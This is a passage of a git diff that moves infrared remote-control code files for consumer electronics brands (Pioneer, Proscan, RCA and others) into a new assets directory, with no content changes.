b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/TV/170,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/TV/170,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/TV/170,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/TV/170,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/TV/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/TV/175,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/TV/175,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/TV/175,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pragmatic/Router/172,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pragmatic/Router/172,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Pragmatic/Router/172,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pragmatic/Router/172,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Proscan/TV/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/TV/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Proscan/TV/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/TV/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Proton/TV/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Proton/TV/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Proton/TV/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Proton/TV/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Proton/TV/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Proton/TV/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Proton/TV/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Proton/TV/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Proton/TV/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Quasar/TV/128,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Quasar/TV/128,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Quasar/TV/128,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Quasar/TV/128,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/DSS/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/DSS/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/DSS/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/DSS/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/DSS/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/DSS/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/DSS/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/DSS/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/DVD Player/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/DVD Player/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/DVD Player/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/DVD Player/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/TV/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/TV/14,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/TV/14,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/TV/14,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/TV/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/TV/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/TV/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/TV/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/TV/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/TV/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/TV/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/TV/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir diff --git 